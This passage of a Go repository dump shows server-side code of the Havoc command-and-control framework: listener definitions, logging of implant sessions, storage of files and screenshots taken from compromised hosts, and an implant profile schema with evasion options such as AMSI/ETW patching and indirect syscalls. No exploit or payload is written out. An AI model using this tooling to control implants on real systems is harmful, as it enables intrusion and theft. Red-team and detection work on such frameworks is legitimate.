"Havoc/pkg/agent" "github.com/gin-gonic/gin" ) type ( HTTPConfig struct { Name string KillDate int64 WorkingHours string Hosts []string HostBind string Methode string HostRotation string PortBind string PortConn string BehindRedir bool UserAgent string Headers []string Uris []string HostHeader string Secure bool Cert struct { Cert string Key string } Proxy struct { Enabled bool Type string Host string Port string Username string Password string } Response struct { Headers []string } } ExternalConfig struct { Name string Endpoint string } SMBConfig struct { Name string PipeName string KillDate int64 WorkingHours string } ) type ( HTTP struct { Config HTTPConfig GinEngine *gin.Engine Server *http.Server TLS struct { Cert []byte Key []byte CertPath string KeyPath string } Teamserver agent.TeamServer Active bool } SMB struct { Config SMBConfig Teamserver agent.TeamServer ParentChild []struct { Parent any Child any } } External struct { Config ExternalConfig engine *gin.Engine Teamserver agent.TeamServer Data map[string]any } Service struct { Service any Info map[string]any } ) const ( LISTENER_HTTP = 1 LISTENER_PIVOT_SMB = 2 LISTENER_EXTERNAL = 3 LISTENER_SERVICE = 4 AGENT_HTTPS = "Https" AGENT_HTTP = "Http" AGENT_EXTERNAL = "External" AGENT_PIVOT_SMB = "Smb" ) ================================================ FILE: teamserver/pkg/logger/global.go ================================================ package logger import ( "io" "log" "os" ) var LoggerInstance *Logger func init() { LoggerInstance = NewLogger(os.Stdout) } func NewLogger(StdOut io.Writer) *Logger { var logger = new(Logger) logger.STDOUT = os.Stdout logger.STDERR = os.Stderr logger.showTime = true logger.debug = false logger.log = log.New(StdOut, "", 0) return logger } func Info(args ...interface{}) { LoggerInstance.Info(args...) } func Good(args ...interface{}) { LoggerInstance.Good(args...) } func Debug(args ...interface{}) { LoggerInstance.Debug(args...) } func DebugError(args ...interface{}) { LoggerInstance.DebugError(args...) } func Warn(args ...interface{}) { LoggerInstance.Warn(args...) } func Error(args ...interface{}) { LoggerInstance.Error(args...) } func Fatal(args ...interface{}) { LoggerInstance.Fatal(args...) } func Panic(args ...interface{}) { LoggerInstance.Panic(args...) } func SetDebug(enable bool) { LoggerInstance.SetDebug(enable) } func ShowTime(time bool) { LoggerInstance.ShowTime(time) } func SetStdOut(w io.Writer) { LoggerInstance.log.SetOutput(w) } ================================================ FILE: teamserver/pkg/logger/logger.go ================================================ package logger import ( "fmt" "log" "os" "runtime" "strconv" "strings" "time" "Havoc/pkg/colors" ) func FunctionTrace() (string, int) { var ( frame runtime.Frame frames *runtime.Frames caller = make([]uintptr, 15) callNums int ) callNums = runtime.Callers(2, caller) frames = runtime.CallersFrames(caller[:callNums]) frame, _ = frames.Next() frame, _ = frames.Next() frame, _ = frames.Next() return frame.Function, frame.Line } type Logger struct { STDOUT *os.File STDERR *os.File log *log.Logger showTime bool debug bool } func (logger *Logger) Info(args ...interface{}) { if logger.showTime { logger.log.SetPrefix("[" + colors.Green(time.Now().Format("15:04:05")) + "] [" + colors.Blue("INFO") + "] ") } else { logger.log.SetPrefix("[" + colors.Blue("INFO") + "] ") } logger.log.Println(args...) } func (logger *Logger) Good(args ...interface{}) { if logger.showTime { logger.log.SetPrefix("[" + colors.Green(time.Now().Format("15:04:05")) + "] [" + colors.Green("GOOD") + "] ") } else { logger.log.SetPrefix("[" + colors.Green("GOOD") + "] ") } logger.log.Println(args...) } func (logger *Logger) Debug(args ...interface{}) { var Trace, Line = FunctionTrace() var Functions = strings.Split(Trace, "/") if logger.debug { if logger.showTime { logger.log.SetPrefix("[" + colors.Green(time.Now().Format("15:04:05")) + "] [" + colors.Yellow("DBUG") + "] [" + colors.BlueUnderline(Functions[len(Functions)-1]+":"+strconv.Itoa(Line)) + "]: ") } else { logger.log.SetPrefix("[" + colors.Yellow("DBUG") + "] [" + Functions[len(Functions)-1] + ":" + fmt.Sprintf("%03d", Line) + "]: ") } logger.log.Println(args...) } } func (logger *Logger) DebugError(args ...interface{}) { var Trace, Line = FunctionTrace() var Functions = strings.Split(Trace, "/") if logger.debug { if logger.showTime { logger.log.SetPrefix("[" + colors.Green(time.Now().Format("15:04:05")) + "] [" + colors.BoldRed("DBER") + "] [" + colors.BlueUnderline(Functions[len(Functions)-1]+":"+strconv.Itoa(Line)) + "]: ") } else { logger.log.SetPrefix("[" + colors.BoldRed("DBER") + "] [" + Functions[len(Functions)-1] + ":" + fmt.Sprintf("%03d", Line) + "]: ") } logger.log.Println(args...) } } func (logger *Logger) Warn(args ...interface{}) { if logger.showTime { logger.log.SetPrefix("[" + colors.Green(time.Now().Format("15:04:05")) + "] [" + colors.Yellow("WARN") + "] ") } else { logger.log.SetPrefix("[" + colors.Yellow("WARN") + "] ") } logger.log.Println(args...) } func (logger *Logger) Error(args ...interface{}) { if logger.showTime { logger.log.SetPrefix("[" + colors.Green(time.Now().Format("15:04:05")) + "] [" + colors.Red("ERRO") + "] ") } else { logger.log.SetPrefix("[" + colors.Red("ERRO") + "] ") } logger.log.Println(args...) } func (logger *Logger) Fatal(args ...interface{}) { if logger.showTime { logger.log.SetPrefix("[" + colors.Green(time.Now().Format("15:04:05")) + "] [" + colors.BoldRed("FATA") + "] ") } else { logger.log.SetPrefix("[" + colors.BoldRed("FATA") + "] ") } logger.log.Println(args...) os.Exit(1) } func (logger *Logger) Panic(args ...interface{}) { if logger.showTime { logger.log.SetPrefix("[" + colors.Green(time.Now().Format("15:04:05")) + "] [" + colors.BoldRed("PANIC") + "] ") } else { logger.log.SetPrefix("[" + colors.BoldRed("PANIC") + "] ") } logger.log.Println(args...) panic(args) } func (logger *Logger) SetDebug(enable bool) { logger.debug = enable } func (logger *Logger) ShowTime(time bool) { logger.showTime = time } ================================================ FILE: teamserver/pkg/logr/demon.go ================================================ package logr import ( "errors" "fmt" "log" "os" "path/filepath" "strings" "Havoc/pkg/common" "Havoc/pkg/logger" ) func (l Logr) AddAgentInput(AgentType, AgentID, User, TaskID, Input string, time string) { var ( DemonPath = l.AgentPath + "/" + AgentID DemonLogFile = DemonPath + "/Console_" + AgentID + ".log" InputString string ) // check if we don't have a path traversal path := filepath.Clean(DemonLogFile) if !strings.HasPrefix(path, DemonPath) { logger.Error("File didn't started with agent loot path. abort") return } if _, err := os.Stat(DemonPath); os.IsNotExist(err) { if err = os.Mkdir(DemonPath, os.ModePerm); err != nil { logger.Error("Failed to create Logr demon " + AgentID + " folder: " + err.Error()) return } } f, err := os.OpenFile(DemonLogFile, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644) if err != nil { log.Fatal(err) } InputString = fmt.Sprintf("\n[Time: %v] [User: %v] [TaskID: %v] %v => %v\n", time, User, TaskID, AgentType, Input) _, err = f.Write([]byte(InputString)) if err != nil { logger.Error("Failed to write to File [" + DemonLogFile + "]: " + err.Error()) return } } func (l Logr) AddAgentRaw(AgentID, Raw string) { var ( DemonPath = l.AgentPath + "/" + AgentID DemonLogFile = DemonPath + "/Console_" + AgentID + ".log" ) // check if we don't have a path traversal path := filepath.Clean(DemonLogFile) if !strings.HasPrefix(path, DemonPath) { logger.Error("File didn't started with agent loot path. abort") return } if _, err := os.Stat(DemonPath); os.IsNotExist(err) { if err = os.Mkdir(DemonPath, os.ModePerm); err != nil { logger.Error("Failed to create Logr demon " + AgentID + " folder: " + err.Error()) return } } f, err := os.OpenFile(DemonLogFile, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644) if err != nil { log.Fatal(err) } _, err = f.Write([]byte(Raw)) if err != nil { logger.Error("Failed to write to File [" + DemonLogFile + "]: " + err.Error()) return } } func (l Logr) DemonAddOutput(DemonID string, Output map[string]string, time string) { var ( DemonPath = l.AgentPath + "/" + filepath.Clean(DemonID) DemonLogFile = DemonPath + "/Console_" + DemonID + ".log" ) // check if we don't have a path traversal path := filepath.Clean(DemonLogFile) if !strings.HasPrefix(path, DemonPath) { logger.Error("File didn't started with agent loot path. abort") return } if _, err := os.Stat(DemonPath); os.IsNotExist(err) { if err = os.Mkdir(DemonPath, os.ModePerm); err != nil { logger.Error("Failed to create Logr demon " + DemonID + " folder: " + err.Error()) return } } f, err := os.OpenFile(DemonLogFile, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644) if err != nil { log.Fatal(err) } var OutputString string if len(Output["Message"]) > 0 { if Output["Type"] == "Good" { OutputString = fmt.Sprintf("[%v] [+] %v\n", time, Output["Message"]) } else if Output["Type"] == "Error" { OutputString = fmt.Sprintf("[%v] [-] %v\n", time, Output["Message"]) } else if Output["Type"] == "Info" { OutputString = fmt.Sprintf("[%v] [*] %v\n", time, Output["Message"]) } else { OutputString = fmt.Sprintf("[%v] [^] %v\n", time, Output["Message"]) } } if len(Output["Output"]) > 0 { OutputString += Output["Output"] } _, err = f.Write([]byte(OutputString)) if err != nil { logger.Error("Failed to write to File [" + DemonLogFile + "]: " + err.Error()) return } } func (l Logr) DemonAddDownloadedFile(DemonID, FileName string, FileBytes []byte) { var ( DemonPath = l.AgentPath + "/" + DemonID DemonDownloadDir = DemonPath + "/Download" DemonDownload = DemonDownloadDir + "/" + FileName ) // check if we don't have a path traversal path := filepath.Clean(DemonDownload) if !strings.HasPrefix(path, DemonDownloadDir) { logger.Error("File didn't started with agent download path. abort") return } if _, err := os.Stat(DemonPath); os.IsNotExist(err) { if err = os.Mkdir(DemonPath, os.ModePerm); err != nil { logger.Error("Failed to create Logr demon " + DemonID + " folder: " + err.Error()) return } } if _, err := os.Stat(DemonDownloadDir); os.IsNotExist(err) { if err = os.Mkdir(DemonDownloadDir, os.ModePerm); err != nil { logger.Error("Failed to create Logr demon " + DemonID + " download folder: " + err.Error()) return } } f, err := os.Create(DemonDownload) if err != nil { logger.Error("Failed to create file: " + err.Error()) return } defer f.Close() _, err = f.Write(FileBytes) if err != nil { logger.Error("Failed to write png file: " + err.Error()) return } } func (l Logr) DemonSaveScreenshot(DemonID, Name string, BmpBytes []byte) error { var ( DemonPath = l.AgentPath + "/" + DemonID DemonScreenshotDir = DemonPath + "/Screenshots" DemonScreenshot = DemonScreenshotDir + "/" + Name ) // check if we don't have a path traversal path := filepath.Clean(DemonScreenshot) if !strings.HasPrefix(path, DemonScreenshotDir) { logger.Error("File didn't started with agent screenshot path. abort") return errors.New("file didn't started with agent screenshot path. abort") } if _, err := os.Stat(DemonPath); os.IsNotExist(err) { if err = os.Mkdir(DemonPath, os.ModePerm); err != nil { logger.Error("Failed to create Logr demon " + DemonID + " folder: " + err.Error()) return errors.New("Failed to create Logr demon " + DemonID + " folder: " + err.Error()) } } if _, err := os.Stat(DemonScreenshotDir); os.IsNotExist(err) { if err = os.Mkdir(DemonScreenshotDir, os.ModePerm); err != nil { logger.Error("Failed to create Logr demon " + DemonID + " screenshot folder: " + err.Error()) return errors.New("Failed to create Logr demon " + DemonID + " screenshot folder: " + err.Error()) } } f, err := os.Create(DemonScreenshot) if err != nil { logger.Error("Failed to create file: " + err.Error()) return errors.New("Failed to create file: " + err.Error()) } defer f.Close() _, err = f.Write(common.Bmp2Png(BmpBytes)) if err != nil { logger.Error("Failed to write png file: " + err.Error()) return errors.New("Failed to write png file: " + err.Error()) } return nil } ================================================ FILE: teamserver/pkg/logr/listener.go ================================================ package logr func (l Logr) ListenerAddKeyCert(Name, Key, Cert string) { } ================================================ FILE: teamserver/pkg/logr/logr.go ================================================ package logr import ( "os" "Havoc/pkg/logger" ) type Logr struct { // Path to directory where everything is going to be logged (user chat, input/output from agent) Path string ListenerPath string AgentPath string ServerPath string LogrSendText func(text string) } var LogrInstance *Logr func NewLogr(Server, Path string) *Logr { var ( logr = new(Logr) err error ) logr.ServerPath = Server logr.Path = Server + "/" + Path logr.ListenerPath = Path + "/listener" logr.AgentPath = Path + "/agents" if _, err = os.Stat(Path); os.IsNotExist(err) { if err = os.MkdirAll(Path, os.ModePerm); err != nil { logger.Error("Failed to create Logr folder: " + err.Error()) return nil } } else { err = os.RemoveAll(Path) if err == nil { if err = os.MkdirAll(Path, os.ModePerm); err != nil { logger.Error("Failed to create Logr folder: " + err.Error()) return nil } } else { logger.Error(err.Error()) } } if _, err = os.Stat(logr.AgentPath); os.IsNotExist(err) { if err = os.MkdirAll(logr.AgentPath, os.ModePerm); err != nil { logger.Error("Failed to create Logr agent folder: " + err.Error()) return nil } } if _, err = os.Stat(logr.ListenerPath); os.IsNotExist(err) { if err = os.MkdirAll(logr.ListenerPath, os.ModePerm); err != nil { logger.Error("Failed to create Logr listener folder: " + err.Error()) return nil } } return logr } ================================================ FILE: teamserver/pkg/logr/server.go ================================================ package logr import ( "bufio" "log" "os" "regexp" "Havoc/pkg/logger" ) func strip(str []byte) []byte { var ( ansi = "[\u001B\u009B][[\\]()#;?]*(?:(?:(?:[a-zA-Z\\d]*(?:;[a-zA-Z\\d]*)*)?\u0007)|(?:(?:\\d{1,4}(?:;\\d{0,4})*)?[\\dA-PRZcf-ntqry=><~]))" re = regexp.MustCompile(ansi) ) return []byte(re.ReplaceAllString(string(str), "")) } func (l Logr) ServerStdOutInit() { var ( PathStdOut = l.Path + "/teamserver.log" OldStdout = os.Stdout StdRead, StdWrite, _ = os.Pipe() ) File, err := os.OpenFile(PathStdOut, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644) if err != nil { log.Fatal(err) } os.Stdout = StdWrite logger.LoggerInstance = logger.NewLogger(StdWrite) go func() { var Reader = bufio.NewReader(StdRead) for { if Reader.Size() > 0 { var ( rawLine, _, _ = Reader.ReadLine() line = []byte(string(rawLine) + "\n") ) if l.LogrSendText != nil { l.LogrSendText(string(strip(rawLine))) } _, err := File.Write(strip(line)) if err != nil { return } _, err = OldStdout.Write(line) if err != nil { return } } } }() } ================================================ FILE: teamserver/pkg/packager/packages.go ================================================ package packager import ( "encoding/json" "Havoc/pkg/logger" ) func NewPackager() *Packager { return new(Packager) } func (p Packager) CreatePackage(jsonObject string) Package { var pk Package if err := json.Unmarshal([]byte(jsonObject), &pk); err != nil { logger.Error("Error while creating Package struct :: " + err.Error()) } return pk } ================================================ FILE: teamserver/pkg/packager/types.go ================================================ package packager type ( MiscType struct { Type int MessageBox int } Head struct { Event int `json:"Event"` User string `json:"User"` Time string `json:"Time"` OneTime string `json:"OneTime"` } Body struct { SubEvent int `json:"SubEvent"` Info map[string]any `json:"Info"` } Packager struct{} Package struct { Head Head Body Body } Types struct { InitConnection struct { Type int OAuthRequest int Success int Error int InitInfo int Profile int } Listener struct { Type int Add int Remove int Edit int Mark int Error int } Chat struct { Type int NewMessage int NewListener int NewSession int NewUser int UserDisconnected int } Credentials struct { Type int Add int Edit int Remove int } HostFile struct { Type int Add int Remove int } Session struct { Type int NewSession int Input int Output int Remove int MarkAsDead int } Gate struct { Type int Staged int Stageless int MSOffice int } // TODO: remove Module struct { Type int Register int Unload int Call int } Service struct { Type int RegisterAgent int RegisterListener int } Misc struct { Type int MessageBox int } Teamserver struct { Type int Log int Profile int } } ) var Type = Types{ InitConnection: struct { Type int OAuthRequest int Success int Error int InitInfo int Profile int }{ Type: 0x1, Success: 0x1, Error: 0x2, OAuthRequest: 0x3, InitInfo: 0x4, Profile: 0x5, }, Listener: struct { Type int Add int Remove int Edit int Mark int Error int }{ Type: 0x2, Add: 0x1, Edit: 0x2, Remove: 0x3, Mark: 0x4, Error: 0x5, }, Chat: struct { Type int NewMessage int NewListener int NewSession int NewUser int UserDisconnected int }{ Type: 0x4, NewMessage: 0x1, NewListener: 0x2, NewSession: 0x3, NewUser: 0x4, UserDisconnected: 0x5, }, Credentials: struct { Type int Add int Edit int Remove int }{ Type: 0x3, Add: 0x1, Edit: 0x2, Remove: 0x3, }, HostFile: struct { Type int Add int Remove int }{ Type: 0x6, Add: 0x1, Remove: 0x2, }, Session: struct { Type int NewSession int Input int Output int Remove int MarkAsDead int }{ Type: 0x7, NewSession: 0x1, Remove: 0x2, Input: 0x3, Output: 0x4, MarkAsDead: 0x5, }, Gate: struct { Type int Staged int Stageless int MSOffice int }{ Type: 0x5, Staged: 0x1, Stageless: 0x2, MSOffice: 0x3, }, Module: struct { Type int Register int Unload int Call int }{ Type: 0x6, Register: 0x1, Unload: 0x2, Call: 0x3, }, Misc: struct { Type int MessageBox int }{ Type: 0x7, MessageBox: 0x1, }, Service: struct { Type int RegisterAgent int RegisterListener int }{ Type: 0x9, RegisterAgent: 0x1, RegisterListener: 0x2, }, Teamserver: struct { Type int Log int Profile int }{Type: 0x10, Log: 0x1, Profile: 0x2}, } ================================================ FILE: teamserver/pkg/profile/config.go ================================================ package profile type HavocConfig struct { Server *ServerProfile `yaotl:"Teamserver,block"` Operators *OperatorsBlock `yaotl:"Operators,block"` Listener *Listeners `yaotl:"Listeners,block"` Demon *Demon `yaotl:"Demon,block"` Service *ServiceConfig `yaotl:"Service,block"` WebHook *WebHookConfig `yaotl:"WebHook,block"` } type WebHookDiscordConfig struct { WebHook string `yaotl:"Url"` AvatarUrl string `yaotl:"AvatarUrl,optional"` UserName string `yaotl:"User,optional"` } type WebHookConfig struct { Discord *WebHookDiscordConfig `yaotl:"Discord,block"` } type BuildConfig struct { Compiler64 string `yaotl:"Compiler64,optional"` Compiler86 string `yaotl:"Compiler86,optional"` Nasm string `yaotl:"Nasm,optional"` } type ServiceConfig struct { Endpoint string `yaotl:"Endpoint"` Password string `yaotl:"Password"` } type ServerProfile struct { Host string `yaotl:"Host"` Port int `yaotl:"Port"` Build *BuildConfig `yaotl:"Build,block"` // TODO: add WebSocket server config // Path for Havoc connection // TLS or not } type OperatorsBlock struct { Users []UsersBlock `yaotl:"user,block"` } type UsersBlock struct { Name string `yaotl:"Name,label"` Password string `yaotl:"Password"` } type Listeners struct { ListenerHTTP []*ListenerHTTP `yaotl:"Http,block"` ListenerSMB []*ListenerSMB `yaotl:"Smb,block"` ListenerExternal []*ListenerExternal `yaotl:"External,block"` } type ListenerHTTP struct { Name string `yaotl:"Name"` // 2006-01-02 15:04:05 KillDate string `yaotl:"KillDate,optional"` // 8:00-17:00 WorkingHours string `yaotl:"WorkingHours,optional"` Hosts []string `yaotl:"Hosts"` HostBind string `yaotl:"HostBind"` HostRotation string `yaotl:"HostRotation"` /* Port used by the TS */ PortBind int `yaotl:"PortBind"` /* Port used by the agent */ PortConn int `yaotl:"PortConn,optional"` Methode string `yaotl:"Method,optional"` /* optional fields */ UserAgent string `yaotl:"UserAgent,optional"` Headers []string `yaotl:"Headers,optional"` Uris []string `yaotl:"Uris,optional"` Secure bool `yaotl:"Secure,optional"` /* optional sub blocks */ Cert *ListenerHttpCerts `yaotl:"Cert,block"` Response *ListenerHttpResponse `yaotl:"Response,block"` Proxy *ListenerHttpProxy `yaotl:"Proxy,block"` } type ListenerSMB struct { Name string `yaotl:"Name"` PipeName string `yaotl:"PipeName"` // 2006-01-02 15:04:05 KillDate string `yaotl:"KillDate,optional"` // 8:00-17:00 WorkingHours string `yaotl:"WorkingHours,optional"` } type ListenerExternal struct { Name string `yaotl:"Name"` Endpoint string `yaotl:"Endpoint"` } type ListenerHttpResponse struct { Headers []string `yaotl:"Headers,optional"` } type ListenerHttpProxy struct { Host string `yaotl:"Host"` Port int `yaotl:"Port"` User string `yaotl:"Username,optional"` Pass string `yaotl:"Password,optional"` } type ListenerHttpCerts struct { Cert string `yaotl:"Cert"` Key string `yaotl:"Key"` } type HeaderBlock struct { MagicMzX64 string `yaotl:"MagicMz-x64,optional"` // max 2 bytes MagicMzX86 string `yaotl:"MagicMz-x86,optional"` // max 2 bytes CompileTime string `yaotl:"CompileTime,optional"` ImageSizeX64 int `yaotl:"ImageSize-x64,optional"` ImageSizeX86 int `yaotl:"ImageSize-x86,optional"` } type Binary struct { Header *HeaderBlock `yaotl:"Header,block"` ReplaceStringsX64 map[string]string `yaotl:"ReplaceStrings-x64,optional"` ReplaceStringsX86 map[string]string `yaotl:"ReplaceStrings-x86,optional"` } type ProcessInjectionBlock struct { Spawn64 string `yaotl:"Spawn64,optional"` Spawn32 string `yaotl:"Spawn32,optional"` } type Demon struct { Sleep int `yaotl:"Sleep,optional"` Jitter int `yaotl:"Jitter,optional"` IndirectSyscall bool `yaotl:"IndirectSyscall,optional"` StackDuplication bool `yaotl:"StackDuplication,optional"` SleepTechnique string `yaotl:"SleepTechnique,optional"` ProxyLoading string `yaotl:"ProxyLoading,optional"` AmsiEtwPatching string `yaotl:"AmsiEtwPatching,optional"` ProcessInjection *ProcessInjectionBlock `yaotl:"Injection,block"` DotNetNamePipe string `yaotl:"DotNetNamePipe,optional"` Binary *Binary `yaotl:"Binary,block"` TrustXForwardedFor bool `yaotl:"TrustXForwardedFor,optional"` } ================================================ FILE: teamserver/pkg/profile/profile.go ================================================ package profile import ( "Havoc/pkg/colors" "Havoc/pkg/logger" yaotl "Havoc/pkg/profile/yaotl/hclsimple" ) type Profile struct { Config HavocConfig } func NewProfile() *Profile { return new(Profile) } func (p *Profile) SetProfile(path string, def bool) error { err := yaotl.DecodeFile(path, nil, &p.Config) if err != nil { return err } if def { logger.Info("Use default profile") } else { logger.Info("Havoc profile:", colors.Blue(path)) } return nil } func (p *Profile) ServerHost() string { if p.Config.Server != nil { return p.Config.Server.Host } return "" } func (p *Profile) ServerPort() int { if p.Config.Server != nil { return p.Config.Server.Port } return 0 } func (p *Profile) ListOfUsernames() []string { var Usernames []string for _, user := range p.Config.Operators.Users { Usernames = append(Usernames, user.Name) } return Usernames } ================================================ FILE: teamserver/pkg/profile/yaotl/diagnostic.go ================================================ package hcl import ( "fmt" ) // DiagnosticSeverity represents the severity of a diagnostic. type DiagnosticSeverity int const ( // DiagInvalid is the invalid zero value of DiagnosticSeverity DiagInvalid DiagnosticSeverity = iota // DiagError indicates that the problem reported by a diagnostic prevents // further progress in parsing and/or evaluating the subject. DiagError // DiagWarning indicates that the problem reported by a diagnostic warrants // user attention but does not prevent further progress. It is most // commonly used for showing deprecation notices. DiagWarning ) // Diagnostic represents information to be presented to a user about an // error or anomaly in parsing or evaluating configuration. type Diagnostic struct { Severity DiagnosticSeverity // Summary and Detail contain the English-language description of the // problem. Summary is a terse description of the general problem and // detail is a more elaborate, often-multi-sentence description of // the problem and what might be done to solve it. Summary string Detail string // Subject and Context are both source ranges relating to the diagnostic. // // Subject is a tight range referring to exactly the construct that // is problematic, while Context is an optional broader range (which should // fully contain Subject) that ought to be shown around Subject when // generating isolated source-code snippets in diagnostic messages. // If Context is nil, the Subject is also the Context. // // Some diagnostics have no source ranges at all. If Context is set then // Subject should always also be set. Subject *Range Context *Range // For diagnostics that occur when evaluating an expression, Expression // may refer to that expression and EvalContext may point to the // EvalContext that was active when evaluating it. This may allow for the // inclusion of additional useful information when rendering a diagnostic // message to the user. // // It is not always possible to select a single EvalContext for a // diagnostic, and so in some cases this field may be nil even when an // expression causes a problem. // // EvalContexts form a tree, so the given EvalContext may refer to a parent // which in turn refers to another parent, etc. For a full picture of all // of the active variables and functions the caller must walk up this // chain, preferring definitions that are "closer" to the expression in // case of colliding names. Expression Expression EvalContext *EvalContext } // Diagnostics is a list of Diagnostic instances. type Diagnostics []*Diagnostic // error implementation, so that diagnostics can be returned via APIs // that normally deal in vanilla Go errors. // // This presents only minimal context about the error, for compatibility // with usual expectations about how errors will present as strings. func (d *Diagnostic) Error() string { return fmt.Sprintf("%s: %s; %s", d.Subject, d.Summary, d.Detail) } // error implementation, so that sets of diagnostics can be returned via // APIs that normally deal in vanilla Go errors. func (d Diagnostics) Error() string { count := len(d) switch { case count == 0: return "no diagnostics" case count == 1: return d[0].Error() default: return fmt.Sprintf("%s, and %d other diagnostic(s)", d[0].Error(), count-1) } } // Append appends a new error to a Diagnostics and return the whole Diagnostics. // // This is provided as a convenience for returning from a function that // collects and then returns a set of diagnostics: // // return nil, diags.Append(&hcl.Diagnostic{ ... }) // // Note that this modifies the array underlying the diagnostics slice, so // must be used carefully within a single codepath. It is incorrect (and rude) // to extend a diagnostics created by a different subsystem. func (d Diagnostics) Append(diag *Diagnostic) Diagnostics { return append(d, diag) } // Extend concatenates the given Diagnostics with the receiver and returns // the whole new Diagnostics. // // This is similar to Append but accepts multiple diagnostics to add. It has // all the same caveats and constraints. func (d Diagnostics) Extend(diags Diagnostics) Diagnostics { return append(d, diags...) } // HasErrors returns true if the receiver contains any diagnostics of // severity DiagError. func (d Diagnostics) HasErrors() bool { for _, diag := range d { if diag.Severity == DiagError { return true } } return false } func (d Diagnostics) Errs() []error { var errs []error for _, diag := range d { if diag.Severity == DiagError { errs = append(errs, diag) } } return errs } // A DiagnosticWriter emits diagnostics somehow. type DiagnosticWriter interface { WriteDiagnostic(*Diagnostic) error WriteDiagnostics(Diagnostics) error } ================================================ FILE: teamserver/pkg/profile/yaotl/diagnostic_text.go ================================================ package hcl import ( "bufio" "bytes" "errors" "fmt" "io" "sort" wordwrap "github.com/mitchellh/go-wordwrap" "github.com/zclconf/go-cty/cty" ) type diagnosticTextWriter struct { files map[string]*File wr io.Writer width uint color bool } // NewDiagnosticTextWriter creates a DiagnosticWriter that writes diagnostics // to the given writer as formatted text. // // It is designed to produce text appropriate to print in a monospaced font // in a terminal of a particular width, or optionally with no width limit. // // The given width may be zero to disable word-wrapping of the detail text // and truncation of source code snippets. // // If color is set to true, the output will include VT100 escape sequences to // color-code the severity indicators. It is suggested to turn this off if // the target writer is not a terminal. func NewDiagnosticTextWriter(wr io.Writer, files map[string]*File, width uint, color bool) DiagnosticWriter { return &diagnosticTextWriter{ files: files, wr: wr, width: width, color: color, } } func (w *diagnosticTextWriter) WriteDiagnostic(diag *Diagnostic) error { if diag == nil { return errors.New("nil diagnostic") } var colorCode, highlightCode, resetCode string if w.color { switch diag.Severity { case DiagError: colorCode = "\x1b[31m" case DiagWarning: colorCode = "\x1b[33m" } resetCode = "\x1b[0m" highlightCode = "\x1b[1;4m" } var severityStr string switch diag.Severity { case DiagError: severityStr = "Error" case DiagWarning: severityStr = "Warning" default: // should never happen severityStr = "???????" } fmt.Fprintf(w.wr, "%s%s%s: %s\n\n", colorCode, severityStr, resetCode, diag.Summary) if diag.Subject != nil { snipRange := *diag.Subject highlightRange := snipRange if diag.Context != nil { // Show enough of the source code to include both the subject // and context ranges, which overlap in all reasonable // situations. snipRange = RangeOver(snipRange, *diag.Context) } // We can't illustrate an empty range, so we'll turn such ranges into // single-character ranges, which might not be totally valid (may point // off the end of a line, or off the end of the file) but are good // enough for the bounds checks we do below. if snipRange.Empty() { snipRange.End.Byte++ snipRange.End.Column++ } if highlightRange.Empty() { highlightRange.End.Byte++ highlightRange.End.Column++ } file := w.files[diag.Subject.Filename] if file == nil || file.Bytes == nil { fmt.Fprintf(w.wr, " on %s line %d:\n (source code not available)\n\n", diag.Subject.Filename, diag.Subject.Start.Line) } else { var contextLine string if diag.Subject != nil { contextLine = contextString(file, diag.Subject.Start.Byte) if contextLine != "" { contextLine = ", in " + contextLine } } fmt.Fprintf(w.wr, " on %s line %d%s:\n", diag.Subject.Filename, diag.Subject.Start.Line, contextLine) src := file.Bytes sc := NewRangeScanner(src, diag.Subject.Filename, bufio.ScanLines) for sc.Scan() { lineRange := sc.Range() if !lineRange.Overlaps(snipRange) { continue } beforeRange, highlightedRange, afterRange := lineRange.PartitionAround(highlightRange) if highlightedRange.Empty() { fmt.Fprintf(w.wr, "%4d: %s\n", lineRange.Start.Line, sc.Bytes()) } else { before := beforeRange.SliceBytes(src) highlighted := highlightedRange.SliceBytes(src) after := afterRange.SliceBytes(src) fmt.Fprintf( w.wr, "%4d: %s%s%s%s%s\n", lineRange.Start.Line, before, highlightCode, highlighted, resetCode, after, ) } } w.wr.Write([]byte{'\n'}) } if diag.Expression != nil && diag.EvalContext != nil { // We will attempt to render the values for any variables // referenced in the given expression as additional context, for // situations where the same expression is evaluated multiple // times in different scopes. expr := diag.Expression ctx := diag.EvalContext vars := expr.Variables() stmts := make([]string, 0, len(vars)) seen := make(map[string]struct{}, len(vars)) for _, traversal := range vars { val, diags := traversal.TraverseAbs(ctx) if diags.HasErrors() { // Skip anything that generates errors, since we probably // already have the same error in our diagnostics set // already. continue } traversalStr := w.traversalStr(traversal) if _, exists := seen[traversalStr]; exists { continue // don't show duplicates when the same variable is referenced multiple times } switch { case !val.IsKnown(): // Can't say anything about this yet, then. continue case val.IsNull(): stmts = append(stmts, fmt.Sprintf("%s set to null", traversalStr)) default: stmts = append(stmts, fmt.Sprintf("%s as %s", traversalStr, w.valueStr(val))) } seen[traversalStr] = struct{}{} } sort.Strings(stmts) // FIXME: Should maybe use a traversal-aware sort that can sort numeric indexes properly? last := len(stmts) - 1 for i, stmt := range stmts { switch i { case 0: w.wr.Write([]byte{'w', 'i', 't', 'h', ' '}) default: w.wr.Write([]byte{' ', ' ', ' ', ' ', ' '}) } w.wr.Write([]byte(stmt)) switch i { case last: w.wr.Write([]byte{'.', '\n', '\n'}) default: w.wr.Write([]byte{',', '\n'}) } } } } if diag.Detail != "" { detail := diag.Detail if w.width != 0 { detail = wordwrap.WrapString(detail, w.width) } fmt.Fprintf(w.wr, "%s\n\n", detail) } return nil } func (w *diagnosticTextWriter) WriteDiagnostics(diags Diagnostics) error { for _, diag := range diags { err := w.WriteDiagnostic(diag) if err != nil { return err } } return nil } func (w *diagnosticTextWriter) traversalStr(traversal Traversal) string { // This is a specialized subset of traversal rendering tailored to // producing helpful contextual messages in diagnostics. It is not // comprehensive nor intended to be used for other purposes. var buf bytes.Buffer for _, step := range traversal { switch tStep := step.(type) { case TraverseRoot: buf.WriteString(tStep.Name) case TraverseAttr: buf.WriteByte('.') buf.WriteString(tStep.Name) case TraverseIndex: buf.WriteByte('[') if keyTy := tStep.Key.Type(); keyTy.IsPrimitiveType() { buf.WriteString(w.valueStr(tStep.Key)) } else { // We'll just use a placeholder for more complex values, // since otherwise our result could grow ridiculously long. buf.WriteString("...") } buf.WriteByte(']') } } return buf.String() } func (w *diagnosticTextWriter) valueStr(val cty.Value) string { // This is a specialized subset of value rendering tailored to producing // helpful but concise messages in diagnostics. It is not comprehensive // nor intended to be used for 